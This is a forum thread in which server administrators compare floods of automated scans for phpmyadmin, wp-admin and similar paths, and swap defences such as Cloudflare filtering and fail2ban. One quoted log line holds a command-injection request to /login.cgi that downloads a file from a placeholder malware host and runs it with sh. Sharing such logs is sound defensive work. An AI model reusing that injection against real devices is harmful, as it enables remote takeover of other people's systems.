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#237757 16-Jun-2018 22:46
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getting over 1000's of hits looking for phpmyadmin on my servers and i don't have it installed


they coming from all different ipsand countries




{ - - [16/Jun/2018:20:09:12 +1000] "HEAD http://xxxxxxxx:80/phpmyadmin/ HTTP/1.1" 301 268 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36"}


and - - [16/Jun/2018:18:43:26 +1000] "GET /login.cgi?cli=aa%20aa%27;wget%20http://malware_URL/r%20-O%20-%3E%20/tmp/r;sh%20/tmp/r%27$ HTTP/1.1" 301 682 "-" "Hello, World"




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  #2038900 16-Jun-2018 23:19
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I'm seeing 1000's too on the servers that have Apache / Nginx open to the world.


If you can, use Cloudflare and firewall the server off to Cloudflare only.

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  #2038908 17-Jun-2018 00:31
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GET /login.cgi?cli=aa%20aa%27;wget%20http://..............






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  #2039133 17-Jun-2018 15:09
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I redirect all attempts to access phpmyadmin to random.php, a lovely script which just pipes /dev/urandom to the script accessing it.

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  #2039140 17-Jun-2018 15:28
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No requests for phpmyadmin on my site, but I do have a GET to a random file in /wp-admin (I'm not running WordPress) as well a GET for "up.php" and a HEAD for "configbak.php".


A bit pointless when I don't have PHP installed tongue-out


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Ultimate Geek

  #2039316 17-Jun-2018 23:40
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this is why i like ssl cause some of these attack scripts can not handle https


i use fail2ban to block them too


and no point of blocking by user agents cause they are easy to fake


eg curl -A "geekzone browser"






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